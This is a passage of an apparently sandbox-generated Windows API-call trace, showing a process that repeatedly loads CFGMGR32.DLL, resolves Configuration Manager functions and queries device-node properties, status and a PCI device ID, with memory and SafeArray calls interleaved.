lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.667] malloc (_Size=0x18) returned 0x20abc282020 [0237.667] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0237.667] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x496d63b4, dwHighDateTime=0x1d9eb0c)) [0237.667] SetEvent (hEvent=0x248) returned 1 [0237.673] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.673] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.673] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.673] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.673] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.674] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.674] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.674] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.674] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.674] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.674] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.674] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.676] malloc (_Size=0x18) returned 0x20abc281a80 [0237.677] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.679] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x496fc553, dwHighDateTime=0x1d9eb0c)) [0237.680] SetEvent (hEvent=0x248) returned 1 [0237.686] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.686] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.689] malloc (_Size=0x18) returned 0x20abc281bc0 [0237.689] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2b, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0237.690] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x496fc553, dwHighDateTime=0x1d9eb0c)) [0237.690] SetEvent (hEvent=0x248) returned 1 [0237.754] malloc (_Size=0xd8) returned 0x20abc286a50 [0237.754] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.758] malloc (_Size=0x18) returned 0x20abc281d20 [0237.758] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2b, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0237.758] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x497bb144, dwHighDateTime=0x1d9eb0c)) [0237.759] SetEvent (hEvent=0x248) returned 1 [0237.763] malloc (_Size=0xd8) returned 0x20abc286a50 [0237.763] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.766] malloc (_Size=0x18) returned 0x20abc281f60 [0237.767] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.768] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x497bb144, dwHighDateTime=0x1d9eb0c)) [0237.768] SetEvent (hEvent=0x248) returned 1 [0237.774] malloc (_Size=0xd8) returned 0x20abc286a50 [0237.774] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.778] malloc (_Size=0x18) returned 0x20abc281ac0 [0237.779] CM_Get_Device_IDA (in: dnDevInst=0x2, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2922&SUBSYS_11001AF4&REV_02\\3&11583659&0&28") returned 0x0 [0237.779] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x497e1415, dwHighDateTime=0x1d9eb0c)) [0237.779] SetEvent (hEvent=0x248) returned 1 [0237.783] malloc (_Size=0xd8) returned 0x20abc286a50 [0237.783] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.788] malloc (_Size=0x18) returned 0x20abc281a20 [0237.789] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0237.789] malloc (_Size=0x124) returned 0x20abc284e70 [0237.790] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc284e70, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc284e70, pulLength=0x2dc22fd3f8) returned 0x0 [0237.790] free (_Block=0x20abc284e70) [0237.790] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x498076f3, dwHighDateTime=0x1d9eb0c)) [0237.791] SetEvent (hEvent=0x248) returned 1 [0237.838] malloc (_Size=0x18) returned 0x20abc281b60 [0237.838] SafeArrayPutElement (psa=0x20abbaf1fe0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0237.838] free (_Block=0x20abc281b60) [0237.838] malloc (_Size=0x18) returned 0x20abc281e40 [0237.839] SafeArrayPutElement (psa=0x20abbaf1fe0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0237.839] free (_Block=0x20abc281e40) [0237.839] malloc (_Size=0x18) returned 0x20abc281e00 [0237.839] SafeArrayPutElement (psa=0x20abbaf1fe0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0237.839] free (_Block=0x20abc281e00) [0237.839] malloc (_Size=0x18) returned 0x20abc281c40 [0237.839] SafeArrayPutElement (psa=0x20abbaf1fe0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0237.839] free (_Block=0x20abc281c40) [0237.839] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c4f0 [0237.839] SafeArrayGetDim (psa=0x20abbaf1fe0) returned 0x1 [0237.839] SafeArrayGetLBound (in: psa=0x20abbaf1fe0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0237.839] SafeArrayGetUBound (in: psa=0x20abbaf1fe0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0237.839] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0237.839] SafeArrayGetDim (psa=0x20abbaf1fe0) returned 0x1 [0237.839] SafeArrayGetUBound (in: psa=0x20abbaf1fe0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0237.839] SafeArrayGetElemsize (psa=0x20abbaf1fe0) returned 0x8 [0237.840] SafeArrayGetElement (in: psa=0x20abbaf1fe0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0237.840] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.840] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c78, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.841] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c80, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.841] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c88, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.841] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0237.842] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c4f0) returned 1 [0237.842] malloc (_Size=0xd8) returned 0x20abc286a50 [0237.843] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.846] GetProcAddress (hModule=0x7ffb1ced0000, 